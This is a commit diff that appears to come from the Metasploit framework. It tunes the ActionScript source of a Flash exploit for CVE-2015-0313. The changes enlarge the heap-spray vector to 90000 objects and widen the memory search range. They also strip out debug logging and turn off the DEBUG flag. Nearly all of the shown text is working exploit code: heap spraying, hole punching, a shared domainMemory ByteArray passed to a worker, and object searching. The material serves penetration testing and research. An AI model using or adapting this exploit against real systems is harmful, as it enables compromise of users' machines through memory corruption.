Skip to content

Commit 7fba64e

Browse files
committed
Allow more search space
1 parent ecbddc6 commit 7fba64e

File tree

4 files changed

+7
-11
lines changed

4 files changed

+7
-11
lines changed

data/exploits/CVE-2015-0313/msf.swf

1 Byte
Binary file not shown.

external/source/exploits/CVE-2015-0313/Exploit.as

Lines changed: 0 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -52,13 +52,10 @@ public class Exploit extends Sprite
5252

5353
ba.length = 0x1000
5454
ba.shareable = true
55-
Logger.log("spray")
5655
for (var i:uint = 0; i < ov.length; i++) {
5756
ov[i] = new Vector.<uint>(1014)
5857
ov[i][0] = 0xdeedbeef
59-
ov[i][1] = 0xdeadbeef
6058
}
61-
Logger.log("holes")
6259
for (i = 0; i < 70000; i += 2) {
6360
delete(ov[i])
6461
}
@@ -68,7 +65,6 @@ public class Exploit extends Sprite
6865
worker.setSharedProperty("mc", mc)
6966
worker.setSharedProperty("ba", ba)
7067
ApplicationDomain.currentDomain.domainMemory = ba
71-
Logger.log('go')
7268
worker.start()
7369
}
7470

external/source/exploits/CVE-2015-0313/Exploiter.as

Lines changed: 6 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -24,7 +24,7 @@ package
2424
private var payload_address:uint
2525
private var stack:Vector.<uint> = new Vector.<uint>(0x6400)
2626
private var payload_space:Vector.<uint> = new Vector.<uint>(0x6400)
27-
private var spray:Vector.<Object> = new Vector.<Object>(15000)
27+
private var spray:Vector.<Object> = new Vector.<Object>(90000)
2828

2929
public function Exploiter(exp:Exploit, pl:String, os:String, p:ByteArray, uv:Vector.<uint>):void
3030
{
@@ -54,18 +54,18 @@ package
5454
Logger.log("[*] Exploiter - spray_objects()")
5555
for (var i:uint = 0; i < spray.length; i++)
5656
{
57-
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
57+
spray[i] = new Vector.<Object>(VECTOR_OBJECTS_LENGTH)
5858
spray[i][0] = eba.ba
59-
spray[i][1] = exploit
60-
spray[i][2] = stack
61-
spray[i][3] = payload_space
59+
spray[i][1] = exploit
60+
spray[i][2] = stack
61+
spray[i][3] = payload_space
6262
}
6363
}
6464

6565
private function search_objects():uint
6666
{
6767
Logger.log("[*] Exploiter - search_objects()")
68-
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0x8000)
68+
var idx:uint = ev.search_pattern(VECTOR_OBJECTS_LENGTH, 0xac100)
6969
return idx + 1
7070
}
7171

external/source/exploits/CVE-2015-0313/Logger.as

Lines changed: 1 addition & 1 deletion
Original file line numberDiff line numberDiff line change
@@ -3,7 +3,7 @@ package
33
import flash.external.ExternalInterface
44

55
public class Logger {
6-
private static const DEBUG:uint = 1
6+
private static const DEBUG:uint = 0
77

88
public static function alert(msg:String):void
99
{

0 commit comments

Comments
 (0)